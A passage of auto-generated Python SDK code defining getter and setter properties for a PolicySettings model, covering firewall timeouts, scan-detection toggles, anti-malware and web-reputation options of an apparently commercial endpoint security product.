:return: The anti_malware_setting_syslog_config_id of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_syslog_config_id
@anti_malware_setting_syslog_config_id.setter
def anti_malware_setting_syslog_config_id(self, anti_malware_setting_syslog_config_id):
"""Sets the anti_malware_setting_syslog_config_id of this PolicySettings.
Anti-Malware Syslog Configuration # noqa: E501
:param anti_malware_setting_syslog_config_id: The anti_malware_setting_syslog_config_id of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_syslog_config_id = anti_malware_setting_syslog_config_id
@property
def firewall_setting_anti_evasion_tcp_paws_window_policy(self):
"""Gets the firewall_setting_anti_evasion_tcp_paws_window_policy of this PolicySettings. # noqa: E501
TCP Timestamp PAWS Window # noqa: E501
:return: The firewall_setting_anti_evasion_tcp_paws_window_policy of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_anti_evasion_tcp_paws_window_policy
@firewall_setting_anti_evasion_tcp_paws_window_policy.setter
def firewall_setting_anti_evasion_tcp_paws_window_policy(self, firewall_setting_anti_evasion_tcp_paws_window_policy):
"""Sets the firewall_setting_anti_evasion_tcp_paws_window_policy of this PolicySettings.
TCP Timestamp PAWS Window # noqa: E501
:param firewall_setting_anti_evasion_tcp_paws_window_policy: The firewall_setting_anti_evasion_tcp_paws_window_policy of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_anti_evasion_tcp_paws_window_policy = firewall_setting_anti_evasion_tcp_paws_window_policy
@property
def firewall_setting_reconnaissance_detect_tcp_xmas_attack_enabled(self):
"""Gets the firewall_setting_reconnaissance_detect_tcp_xmas_attack_enabled of this PolicySettings. # noqa: E501
TCP Xmas Scan - Enabled # noqa: E501
:return: The firewall_setting_reconnaissance_detect_tcp_xmas_attack_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_reconnaissance_detect_tcp_xmas_attack_enabled
@firewall_setting_reconnaissance_detect_tcp_xmas_attack_enabled.setter
def firewall_setting_reconnaissance_detect_tcp_xmas_attack_enabled(self, firewall_setting_reconnaissance_detect_tcp_xmas_attack_enabled):
"""Sets the firewall_setting_reconnaissance_detect_tcp_xmas_attack_enabled of this PolicySettings.
TCP Xmas Scan - Enabled # noqa: E501
:param firewall_setting_reconnaissance_detect_tcp_xmas_attack_enabled: The firewall_setting_reconnaissance_detect_tcp_xmas_attack_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_reconnaissance_detect_tcp_xmas_attack_enabled = firewall_setting_reconnaissance_detect_tcp_xmas_attack_enabled
@property
def application_control_setting_ruleset_mode(self):
"""Gets the application_control_setting_ruleset_mode of this PolicySettings. # noqa: E501
Ruleset mode: # noqa: E501
:return: The application_control_setting_ruleset_mode of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._application_control_setting_ruleset_mode
@application_control_setting_ruleset_mode.setter
def application_control_setting_ruleset_mode(self, application_control_setting_ruleset_mode):
"""Sets the application_control_setting_ruleset_mode of this PolicySettings.
Ruleset mode: # noqa: E501
:param application_control_setting_ruleset_mode: The application_control_setting_ruleset_mode of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._application_control_setting_ruleset_mode = application_control_setting_ruleset_mode
@property
def anti_malware_setting_smart_protection_global_server_use_proxy_enabled(self):
"""Gets the anti_malware_setting_smart_protection_global_server_use_proxy_enabled of this PolicySettings. # noqa: E501
Use Proxy when accessing Smart Protection Service for Smart Scan # noqa: E501
:return: The anti_malware_setting_smart_protection_global_server_use_proxy_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_smart_protection_global_server_use_proxy_enabled
@anti_malware_setting_smart_protection_global_server_use_proxy_enabled.setter
def anti_malware_setting_smart_protection_global_server_use_proxy_enabled(self, anti_malware_setting_smart_protection_global_server_use_proxy_enabled):
"""Sets the anti_malware_setting_smart_protection_global_server_use_proxy_enabled of this PolicySettings.
Use Proxy when accessing Smart Protection Service for Smart Scan # noqa: E501
:param anti_malware_setting_smart_protection_global_server_use_proxy_enabled: The anti_malware_setting_smart_protection_global_server_use_proxy_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_smart_protection_global_server_use_proxy_enabled = anti_malware_setting_smart_protection_global_server_use_proxy_enabled
@property
def web_reputation_setting_smart_protection_local_server_allow_off_domain_global(self):
"""Gets the web_reputation_setting_smart_protection_local_server_allow_off_domain_global of this PolicySettings. # noqa: E501
When off domain, connect to global Smart Protection Service. (Windows only) # noqa: E501
:return: The web_reputation_setting_smart_protection_local_server_allow_off_domain_global of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._web_reputation_setting_smart_protection_local_server_allow_off_domain_global
@web_reputation_setting_smart_protection_local_server_allow_off_domain_global.setter
def web_reputation_setting_smart_protection_local_server_allow_off_domain_global(self, web_reputation_setting_smart_protection_local_server_allow_off_domain_global):
"""Sets the web_reputation_setting_smart_protection_local_server_allow_off_domain_global of this PolicySettings.
When off domain, connect to global Smart Protection Service. (Windows only) # noqa: E501
:param web_reputation_setting_smart_protection_local_server_allow_off_domain_global: The web_reputation_setting_smart_protection_local_server_allow_off_domain_global of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._web_reputation_setting_smart_protection_local_server_allow_off_domain_global = web_reputation_setting_smart_protection_local_server_allow_off_domain_global
@property
def integrity_monitoring_setting_combined_mode_protection_source(self):
"""Gets the integrity_monitoring_setting_combined_mode_protection_source of this PolicySettings. # noqa: E501
Integrity Monitoring # noqa: E501
:return: The integrity_monitoring_setting_combined_mode_protection_source of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._integrity_monitoring_setting_combined_mode_protection_source
@integrity_monitoring_setting_combined_mode_protection_source.setter
def integrity_monitoring_setting_combined_mode_protection_source(self, integrity_monitoring_setting_combined_mode_protection_source):
"""Sets the integrity_monitoring_setting_combined_mode_protection_source of this PolicySettings.
Integrity Monitoring # noqa: E501
:param integrity_monitoring_setting_combined_mode_protection_source: The integrity_monitoring_setting_combined_mode_protection_source of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._integrity_monitoring_setting_combined_mode_protection_source = integrity_monitoring_setting_combined_mode_protection_source
@property
def firewall_setting_engine_option_close_wait_timeout(self):
"""Gets the firewall_setting_engine_option_close_wait_timeout of this PolicySettings. # noqa: E501
CLOSE_WAIT Timeout # noqa: E501
:return: The firewall_setting_engine_option_close_wait_timeout of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_close_wait_timeout
@firewall_setting_engine_option_close_wait_timeout.setter
def firewall_setting_engine_option_close_wait_timeout(self, firewall_setting_engine_option_close_wait_timeout):
"""Sets the firewall_setting_engine_option_close_wait_timeout of this PolicySettings.
CLOSE_WAIT Timeout # noqa: E501
:param firewall_setting_engine_option_close_wait_timeout: The firewall_setting_engine_option_close_wait_timeout of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_close_wait_timeout = firewall_setting_engine_option_close_wait_timeout
@property
def platform_setting_scan_open_port_list_id(self):
"""Gets the platform_setting_scan_open_port_list_id of this PolicySettings. # noqa: E501
Ports to scan # noqa: E501
:return: The platform_setting_scan_open_port_list_id of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_scan_open_port_list_id
@platform_setting_scan_open_port_list_id.setter
def platform_setting_scan_open_port_list_id(self, platform_setting_scan_open_port_list_id):
"""Sets the platform_setting_scan_open_port_list_id of this PolicySettings.
Ports to scan # noqa: E501
:param platform_setting_scan_open_port_list_id: The platform_setting_scan_open_port_list_id of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_scan_open_port_list_id = platform_setting_scan_open_port_list_id
@property
def platform_setting_agent_self_protection_password_enabled(self):
"""Gets the platform_setting_agent_self_protection_password_enabled of this PolicySettings. # noqa: E501
Local override requires password # noqa: E501
:return: The platform_setting_agent_self_protection_password_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_agent_self_protection_password_enabled
@platform_setting_agent_self_protection_password_enabled.setter
def platform_setting_agent_self_protection_password_enabled(self, platform_setting_agent_self_protection_password_enabled):
"""Sets the platform_setting_agent_self_protection_password_enabled of this PolicySettings.
Local override requires password # noqa: E501
:param platform_setting_agent_self_protection_password_enabled: The platform_setting_agent_self_protection_password_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_agent_self_protection_password_enabled = platform_setting_agent_self_protection_password_enabled
@property
def firewall_setting_engine_option_ack_timeout(self):
"""Gets the firewall_setting_engine_option_ack_timeout of this PolicySettings. # noqa: E501
ACK Storm Timeout # noqa: E501
:return: The firewall_setting_engine_option_ack_timeout of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_ack_timeout
@firewall_setting_engine_option_ack_timeout.setter
def firewall_setting_engine_option_ack_timeout(self, firewall_setting_engine_option_ack_timeout):
"""Sets the firewall_setting_engine_option_ack_timeout of this PolicySettings.
ACK Storm Timeout # noqa: E501
:param firewall_setting_engine_option_ack_timeout: The firewall_setting_engine_option_ack_timeout of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_ack_timeout = firewall_setting_engine_option_ack_timeout
@property
def firewall_setting_event_log_file_cached_entries_stale_time(self):
"""Gets the firewall_setting_event_log_file_cached_entries_stale_time of this PolicySettings. # noqa: E501
Cache Stale time # noqa: E501
:return: The firewall_setting_event_log_file_cached_entries_stale_time of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_event_log_file_cached_entries_stale_time
@firewall_setting_event_log_file_cached_entries_stale_time.setter
def firewall_setting_event_log_file_cached_entries_stale_time(self, firewall_setting_event_log_file_cached_entries_stale_time):
"""Sets the firewall_setting_event_log_file_cached_entries_stale_time of this PolicySettings.
Cache Stale time # noqa: E501
:param firewall_setting_event_log_file_cached_entries_stale_time: The firewall_setting_event_log_file_cached_entries_stale_time of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_event_log_file_cached_entries_stale_time = firewall_setting_event_log_file_cached_entries_stale_time
@property
def firewall_setting_combined_mode_protection_source(self):
"""Gets the firewall_setting_combined_mode_protection_source of this PolicySettings. # noqa: E501
Firewall # noqa: E501
:return: The firewall_setting_combined_mode_protection_source of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_combined_mode_protection_source
@firewall_setting_combined_mode_protection_source.setter
def firewall_setting_combined_mode_protection_source(self, firewall_setting_combined_mode_protection_source):
"""Sets the firewall_setting_combined_mode_protection_source of this PolicySettings.
Firewall # noqa: E501
:param firewall_setting_combined_mode_protection_source: The firewall_setting_combined_mode_protection_source of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_combined_mode_protection_source = firewall_setting_combined_mode_protection_source
@property
def platform_setting_agent_events_send_interval(self):
"""Gets the platform_setting_agent_events_send_interval of this PolicySettings. # noqa: E501
Period between sending of events # noqa: E501
:return: The platform_setting_agent_events_send_interval of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_agent_events_send_interval
@platform_setting_agent_events_send_interval.setter
def platform_setting_agent_events_send_interval(self, platform_setting_agent_events_send_interval):
"""Sets the platform_setting_agent_events_send_interval of this PolicySettings.
Period between sending of events # noqa: E501
:param platform_setting_agent_events_send_interval: The platform_setting_agent_events_send_interval of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_agent_events_send_interval = platform_setting_agent_events_send_interval
@property
def platform_setting_inactive_agent_cleanup_override_enabled(self):
"""Gets the platform_setting_inactive_agent_cleanup_override_enabled of this PolicySettings. # noqa: E501
Prevent this computer from being deleted if Inactive Agent Cleanup is enabled: # noqa: E501
:return: The platform_setting_inactive_agent_cleanup_override_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_inactive_agent_cleanup_override_enabled
@platform_setting_inactive_agent_cleanup_override_enabled.setter
def platform_setting_inactive_agent_cleanup_override_enabled(self, platform_setting_inactive_agent_cleanup_override_enabled):
"""Sets the platform_setting_inactive_agent_cleanup_override_enabled of this PolicySettings.
Prevent this computer from being deleted if Inactive Agent Cleanup is enabled: # noqa: E501
:param platform_setting_inactive_agent_cleanup_override_enabled: The platform_setting_inactive_agent_cleanup_override_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_inactive_agent_cleanup_override_enabled = platform_setting_inactive_agent_cleanup_override_enabled
@property
def firewall_setting_failure_response_engine_system(self):
"""Gets the firewall_setting_failure_response_engine_system of this PolicySettings. # noqa: E501
Network Engine System Failure # noqa: E501
:return: The firewall_setting_failure_response_engine_system of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_failure_response_engine_system
@firewall_setting_failure_response_engine_system.setter
def firewall_setting_failure_response_engine_system(self, firewall_setting_failure_response_engine_system):
"""Sets the firewall_setting_failure_response_engine_system of this PolicySettings.
Network Engine System Failure # noqa: E501
:param firewall_setting_failure_response_engine_system: The firewall_setting_failure_response_engine_system of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_failure_response_engine_system = firewall_setting_failure_response_engine_system
@property
def platform_setting_relay_state(self):
"""Gets the platform_setting_relay_state of this PolicySettings. # noqa: E501
Relay State # noqa: E501
:return: The platform_setting_relay_state of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_relay_state
@platform_setting_relay_state.setter
def platform_setting_relay_state(self, platform_setting_relay_state):
"""Sets the platform_setting_relay_state of this PolicySettings.
Relay State # noqa: E501
:param platform_setting_relay_state: The platform_setting_relay_state of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_relay_state = platform_setting_relay_state
@property
def firewall_setting_engine_option_drop_evasive_retransmit_enabled(self):
"""Gets the firewall_setting_engine_option_drop_evasive_retransmit_enabled of this PolicySettings. # noqa: E501
Drop Evasive Retransmit # noqa: E501
:return: The firewall_setting_engine_option_drop_evasive_retransmit_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_drop_evasive_retransmit_enabled
@firewall_setting_engine_option_drop_evasive_retransmit_enabled.setter
def firewall_setting_engine_option_drop_evasive_retransmit_enabled(self, firewall_setting_engine_option_drop_evasive_retransmit_enabled):
"""Sets the firewall_setting_engine_option_drop_evasive_retransmit_enabled of this PolicySettings.
Drop Evasive Retransmit # noqa: E501
:param firewall_setting_engine_option_drop_evasive_retransmit_enabled: The firewall_setting_engine_option_drop_evasive_retransmit_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_drop_evasive_retransmit_enabled = firewall_setting_engine_option_drop_evasive_retransmit_enabled
@property
def activity_monitoring_setting_indicator_enabled(self):
"""Gets the activity_monitoring_setting_indicator_enabled of this PolicySettings. # noqa: E501
Sensor Indicator Enabled # noqa: E501
:return: The activity_monitoring_setting_indicator_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._activity_monitoring_setting_indicator_enabled
@activity_monitoring_setting_indicator_enabled.setter
def activity_monitoring_setting_indicator_enabled(self, activity_monitoring_setting_indicator_enabled):
"""Sets the activity_monitoring_setting_indicator_enabled of this PolicySettings.
Sensor Indicator Enabled # noqa: E501
:param activity_monitoring_setting_indicator_enabled: The activity_monitoring_setting_indicator_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._activity_monitoring_setting_indicator_enabled = activity_monitoring_setting_indicator_enabled
@property
def intrusion_prevention_setting_engine_option_fragmented_ip_timeout(self):
"""Gets the intrusion_prevention_setting_engine_option_fragmented_ip_timeout of this PolicySettings. # noqa: E501
Fragment Timeout # noqa: E501
:return: The intrusion_prevention_setting_engine_option_fragmented_ip_timeout of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._intrusion_prevention_setting_engine_option_fragmented_ip_timeout
@intrusion_prevention_setting_engine_option_fragmented_ip_timeout.setter
def intrusion_prevention_setting_engine_option_fragmented_ip_timeout(self, intrusion_prevention_setting_engine_option_fragmented_ip_timeout):
"""Sets the intrusion_prevention_setting_engine_option_fragmented_ip_timeout of this PolicySettings.
Fragment Timeout # noqa: E501
:param intrusion_prevention_setting_engine_option_fragmented_ip_timeout: The intrusion_prevention_setting_engine_option_fragmented_ip_timeout of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._intrusion_prevention_setting_engine_option_fragmented_ip_timeout = intrusion_prevention_setting_engine_option_fragmented_ip_timeout
@property
def firewall_setting_anti_evasion_check_tcp_zero_flags(self):
"""Gets the firewall_setting_anti_evasion_check_tcp_zero_flags of this PolicySettings. # noqa: E501
TCP Zero Flags # noqa: E501
:return: The firewall_setting_anti_evasion_check_tcp_zero_flags of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_anti_evasion_check_tcp_zero_flags
@firewall_setting_anti_evasion_check_tcp_zero_flags.setter
def firewall_setting_anti_evasion_check_tcp_zero_flags(self, firewall_setting_anti_evasion_check_tcp_zero_flags):
"""Sets the firewall_setting_anti_evasion_check_tcp_zero_flags of this PolicySettings.
TCP Zero Flags # noqa: E501
:param firewall_setting_anti_evasion_check_tcp_zero_flags: The firewall_setting_anti_evasion_check_tcp_zero_flags of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_anti_evasion_check_tcp_zero_flags = firewall_setting_anti_evasion_check_tcp_zero_flags
@property
def web_reputation_setting_smart_protection_global_server_use_proxy_enabled(self):
"""Gets the web_reputation_setting_smart_protection_global_server_use_proxy_enabled of this PolicySettings. # noqa: E501
Use Proxy when accessing Smart Protection Service for Web Reputation # noqa: E501
:return: The web_reputation_setting_smart_protection_global_server_use_proxy_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._web_reputation_setting_smart_protection_global_server_use_proxy_enabled
@web_reputation_setting_smart_protection_global_server_use_proxy_enabled.setter
def web_reputation_setting_smart_protection_global_server_use_proxy_enabled(self, web_reputation_setting_smart_protection_global_server_use_proxy_enabled):
"""Sets the web_reputation_setting_smart_protection_global_server_use_proxy_enabled of this PolicySettings.
Use Proxy when accessing Smart Protection Service for Web Reputation # noqa: E501
:param web_reputation_setting_smart_protection_global_server_use_proxy_enabled: The web_reputation_setting_smart_protection_global_server_use_proxy_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._web_reputation_setting_smart_protection_global_server_use_proxy_enabled = web_reputation_setting_smart_protection_global_server_use_proxy_enabled
@property
def intrusion_prevention_setting_nsx_security_tagging_prevent_mode_level(self):
"""Gets the intrusion_prevention_setting_nsx_security_tagging_prevent_mode_level of this PolicySettings. # noqa: E501
Prevent Mode # noqa: E501
:return: The intrusion_prevention_setting_nsx_security_tagging_prevent_mode_level of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._intrusion_prevention_setting_nsx_security_tagging_prevent_mode_level
@intrusion_prevention_setting_nsx_security_tagging_prevent_mode_level.setter
def intrusion_prevention_setting_nsx_security_tagging_prevent_mode_level(self, intrusion_prevention_setting_nsx_security_tagging_prevent_mode_level):
"""Sets the intrusion_prevention_setting_nsx_security_tagging_prevent_mode_level of this PolicySettings.
Prevent Mode # noqa: E501
:param intrusion_prevention_setting_nsx_security_tagging_prevent_mode_level: The intrusion_prevention_setting_nsx_security_tagging_prevent_mode_level of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._intrusion_prevention_setting_nsx_security_tagging_prevent_mode_level = intrusion_prevention_setting_nsx_security_tagging_prevent_mode_level
@property
def firewall_setting_reconnaissance_notify_tcp_xmas_attack_enabled(self):
"""Gets the firewall_setting_reconnaissance_notify_tcp_xmas_attack_enabled of this PolicySettings. # noqa: E501
TCP Xmas Scan - Notify DSM Immediately # noqa: E501
:return: The firewall_setting_reconnaissance_notify_tcp_xmas_attack_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_reconnaissance_notify_tcp_xmas_attack_enabled
@firewall_setting_reconnaissance_notify_tcp_xmas_attack_enabled.setter
def firewall_setting_reconnaissance_notify_tcp_xmas_attack_enabled(self, firewall_setting_reconnaissance_notify_tcp_xmas_attack_enabled):
"""Sets the firewall_setting_reconnaissance_notify_tcp_xmas_attack_enabled of this PolicySettings.
TCP Xmas Scan - Notify DSM Immediately # noqa: E501
:param firewall_setting_reconnaissance_notify_tcp_xmas_attack_enabled: The firewall_setting_reconnaissance_notify_tcp_xmas_attack_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_reconnaissance_notify_tcp_xmas_attack_enabled = firewall_setting_reconnaissance_notify_tcp_xmas_attack_enabled
@property
def firewall_setting_engine_option_udp_timeout(self):
"""Gets the firewall_setting_engine_option_udp_timeout of this PolicySettings. # noqa: E501
UDP Timeout # noqa: E501
:return: The firewall_setting_engine_option_udp_timeout of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_udp_timeout
@firewall_setting_engine_option_udp_timeout.setter
def firewall_setting_engine_option_udp_timeout(self, firewall_setting_engine_option_udp_timeout):
"""Sets the firewall_setting_engine_option_udp_timeout of this PolicySettings.
UDP Timeout # noqa: E501
:param firewall_setting_engine_option_udp_timeout: The firewall_setting_engine_option_udp_timeout of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_udp_timeout = firewall_setting_engine_option_udp_timeout
@property
def web_reputation_setting_smart_protection_local_server_enabled(self):
"""Gets the web_reputation_setting_smart_protection_local_server_enabled of this PolicySettings. # noqa: E501
Use Local Smart Protection Server for Web Reputation Service # noqa: E501
:return: The web_reputation_setting_smart_protection_local_server_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._web_reputation_setting_smart_protection_local_server_enabled
@web_reputation_setting_smart_protection_local_server_enabled.setter
def web_reputation_setting_smart_protection_local_server_enabled(self, web_reputation_setting_smart_protection_local_server_enabled):
"""Sets the web_reputation_setting_smart_protection_local_server_enabled of this PolicySettings.
Use Local Smart Protection Server for Web Reputation Service # noqa: E501
:param web_reputation_setting_smart_protection_local_server_enabled: The web_reputation_setting_smart_protection_local_server_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._web_reputation_setting_smart_protection_local_server_enabled = web_reputation_setting_smart_protection_local_server_enabled
@property
def firewall_setting_engine_option_tcp_mss_limit(self):
"""Gets the firewall_setting_engine_option_tcp_mss_limit of this PolicySettings. # noqa: E501
TCP MSS Limit # noqa: E501
:return: The firewall_setting_engine_option_tcp_mss_limit of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_tcp_mss_limit
@firewall_setting_engine_option_tcp_mss_limit.setter
def firewall_setting_engine_option_tcp_mss_limit(self, firewall_setting_engine_option_tcp_mss_limit):
"""Sets the firewall_setting_engine_option_tcp_mss_limit of this PolicySettings.
TCP MSS Limit # noqa: E501
:param firewall_setting_engine_option_tcp_mss_limit: The firewall_setting_engine_option_tcp_mss_limit of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_tcp_mss_limit = firewall_setting_engine_option_tcp_mss_limit
@property
def firewall_setting_engine_option_cold_start_timeout(self):
"""Gets the firewall_setting_engine_option_cold_start_timeout of this PolicySettings. # noqa: E501
Cold Start Timeout # noqa: E501
:return: The firewall_setting_engine_option_cold_start_timeout of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_cold_start_timeout
@firewall_setting_engine_option_cold_start_timeout.setter
def firewall_setting_engine_option_cold_start_timeout(self, firewall_setting_engine_option_cold_start_timeout):
"""Sets the firewall_setting_engine_option_cold_start_timeout of this PolicySettings.
Cold Start Timeout # noqa: E501
:param firewall_setting_engine_option_cold_start_timeout: The firewall_setting_engine_option_cold_start_timeout of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_cold_start_timeout = firewall_setting_engine_option_cold_start_timeout
@property
def firewall_setting_engine_option_established_timeout(self):
"""Gets the firewall_setting_engine_option_established_timeout of this PolicySettings. # noqa: E501
ESTABLISHED Timeout # noqa: E501
:return: The firewall_setting_engine_option_established_timeout of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_established_timeout
@firewall_setting_engine_option_established_timeout.setter
def firewall_setting_engine_option_established_timeout(self, firewall_setting_engine_option_established_timeout):
"""Sets the firewall_setting_engine_option_established_timeout of this PolicySettings.
ESTABLISHED Timeout # noqa: E501
:param firewall_setting_engine_option_established_timeout: The firewall_setting_engine_option_established_timeout of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_established_timeout = firewall_setting_engine_option_established_timeout
@property
def anti_malware_setting_identified_files_space_max_mbytes(self):
"""Gets the anti_malware_setting_identified_files_space_max_mbytes of this PolicySettings. # noqa: E501
Maximum disk space used to store identified files # noqa: E501
:return: The anti_malware_setting_identified_files_space_max_mbytes of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_identified_files_space_max_mbytes
@anti_malware_setting_identified_files_space_max_mbytes.setter
def anti_malware_setting_identified_files_space_max_mbytes(self, anti_malware_setting_identified_files_space_max_mbytes):
"""Sets the anti_malware_setting_identified_files_space_max_mbytes of this PolicySettings.
Maximum disk space used to store identified files # noqa: E501
:param anti_malware_setting_identified_files_space_max_mbytes: The anti_malware_setting_identified_files_space_max_mbytes of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_identified_files_space_max_mbytes = anti_malware_setting_identified_files_space_max_mbytes
@property
def firewall_setting_engine_option_allow_null_ip_enabled(self):
"""Gets the firewall_setting_engine_option_allow_null_ip_enabled of this PolicySettings. # noqa: E501
Allow Null IP # noqa: E501
:return: The firewall_setting_engine_option_allow_null_ip_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_allow_null_ip_enabled
@firewall_setting_engine_option_allow_null_ip_enabled.setter
def firewall_setting_engine_option_allow_null_ip_enabled(self, firewall_setting_engine_option_allow_null_ip_enabled):
"""Sets the firewall_setting_engine_option_allow_null_ip_enabled of this PolicySettings.
Allow Null IP # noqa: E501
:param firewall_setting_engine_option_allow_null_ip_enabled: The firewall_setting_engine_option_allow_null_ip_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_allow_null_ip_enabled = firewall_setting_engine_option_allow_null_ip_enabled
@property
def platform_setting_notifications_suppress_popups_enabled(self):
"""Gets the platform_setting_notifications_suppress_popups_enabled of this PolicySettings. # noqa: E501
Suppress all pop-up notifications on host # noqa: E501
:return: The platform_setting_notifications_suppress_popups_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_notifications_suppress_popups_enabled
@platform_setting_notifications_suppress_popups_enabled.setter
def platform_setting_notifications_suppress_popups_enabled(self, platform_setting_notifications_suppress_popups_enabled):
"""Sets the platform_setting_notifications_suppress_popups_enabled of this PolicySettings.
Suppress all pop-up notifications on host # noqa: E501
:param platform_setting_notifications_suppress_popups_enabled: The platform_setting_notifications_suppress_popups_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_notifications_suppress_popups_enabled = platform_setting_notifications_suppress_popups_enabled
@property
def firewall_setting_anti_evasion_check_tcp_rst_fin_flags(self):
"""Gets the firewall_setting_anti_evasion_check_tcp_rst_fin_flags of this PolicySettings. # noqa: E501
TCP Rst Fin Flags # noqa: E501
:return: The firewall_setting_anti_evasion_check_tcp_rst_fin_flags of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_anti_evasion_check_tcp_rst_fin_flags
@firewall_setting_anti_evasion_check_tcp_rst_fin_flags.setter
def firewall_setting_anti_evasion_check_tcp_rst_fin_flags(self, firewall_setting_anti_evasion_check_tcp_rst_fin_flags):
"""Sets the firewall_setting_anti_evasion_check_tcp_rst_fin_flags of this PolicySettings.
TCP Rst Fin Flags # noqa: E501
:param firewall_setting_anti_evasion_check_tcp_rst_fin_flags: The firewall_setting_anti_evasion_check_tcp_rst_fin_flags of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_anti_evasion_check_tcp_rst_fin_flags = firewall_setting_anti_evasion_check_tcp_rst_fin_flags
@property
def firewall_setting_engine_option_disconnect_timeout(self):
"""Gets the firewall_setting_engine_option_disconnect_timeout of this PolicySettings. # noqa: E501
DISCONNECT Timeout # noqa: E501
:return: The firewall_setting_engine_option_disconnect_timeout of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_disconnect_timeout
@firewall_setting_engine_option_disconnect_timeout.setter
def firewall_setting_engine_option_disconnect_timeout(self, firewall_setting_engine_option_disconnect_timeout):
"""Sets the firewall_setting_engine_option_disconnect_timeout of this PolicySettings.
DISCONNECT Timeout # noqa: E501
:param firewall_setting_engine_option_disconnect_timeout: The firewall_setting_engine_option_disconnect_timeout of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_disconnect_timeout = firewall_setting_engine_option_disconnect_timeout
@property
def firewall_setting_engine_option_close_timeout(self):
"""Gets the firewall_setting_engine_option_close_timeout of this PolicySettings. # noqa: E501
CLOSED Timeout # noqa: E501
:return: The firewall_setting_engine_option_close_timeout of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_close_timeout
@firewall_setting_engine_option_close_timeout.setter
def firewall_setting_engine_option_close_timeout(self, firewall_setting_engine_option_close_timeout):
"""Sets the firewall_setting_engine_option_close_timeout of this PolicySettings.
CLOSED Timeout # noqa: E501
